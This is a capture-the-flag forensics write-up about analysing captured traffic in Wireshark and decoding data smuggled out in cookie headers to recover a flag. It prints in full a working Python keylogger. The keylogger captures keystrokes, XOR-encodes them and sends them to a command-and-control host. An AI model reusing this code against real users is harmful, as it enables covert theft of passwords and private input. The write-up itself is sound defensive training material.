Post

Packed Light

Tiny packets. Odd hours. Suspiciously regular. Someone's smuggling out the data equivalent of a hotel towel every night, folded neatly inside traffic that looks ordinary until you decode it.

Packed Light

image-1370

Scenario

image-1371

image-1372

Question

image-1373


Solution

image-1374


Inspect the Traffic

First, download and extract the file. We will see a file traffic.pcapng which can be opened with wireshark.

I will use a wireshark filter to narrow down suspicious packets

image-1376

and we find this packet trying to get the /temp/updates.py file.

image-1377

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import requests

import base64

from pynput import keyboard

  

C2_URL = "http://byte-lotus-hotel.thm:8080/"

  

def getkey():

p1 = "H0t3lSt@ff0Nly"

p2 = "K3epS3cr3t!"

return p1 + p2

  

def xor(data: bytes, key: bytes) -> bytes:

return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))

  

def sendltr(character):

raw_bytes = character.encode('utf-8')

encrypted = xor(raw_bytes, getkey().encode('utf-8'))

b64_string = base64.b64encode(encrypted).decode('utf-8')

headers = {

"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) ByteLotusClient/1.1",

"Cookie": f"hotel_sess_state={b64_string}"

}

try:

requests.get(C2_URL, headers=headers, timeout=0.5)

except:

pass

  

def on_press(key):

try:

sendltr(key.char)

except AttributeError:

if key == keyboard.Key.space:

sendltr(" ")

elif key == keyboard.Key.enter:

sendltr("\n")

  

print("[*] Byte Lotus Sync Service started...")

with keyboard.Listener(on_press=on_press) as listener:

listener.join()

"Cookie": f"hotel_sess_state={b64_string}"


The script captures each keypress, XORs it and puts the base64 result in hotel_sess_state. So, let’s filter for requests containing this cookie and collect the values in packet order.

image-1378

image-1379

the value is HA==

now check every packet one by one

HA==,AA==,BQ==,Mw==,Hg==,ew==,Og==,fA==,Fw==,eQ==,Ow==,Fw==,Pw==,fA==,PA==,Kw==,IA==,eQ==,Jg==,Lw==,Fw==,eA==,Pg==,LQ==,Gg==,Fw==,MQ==,eA==,PQ==,NQ==


Decode the Data

And we decode it using base64 in CyberChef

Base64 is only the first step. The CyberChef recipe also uses XOR with H. Each character is encrypted separately, so the key starts again at its first character, H, for each of these values.

image-1384

Finally, we got the flag!

DONE!!!


This post is licensed under CC BY 4.0 by the author.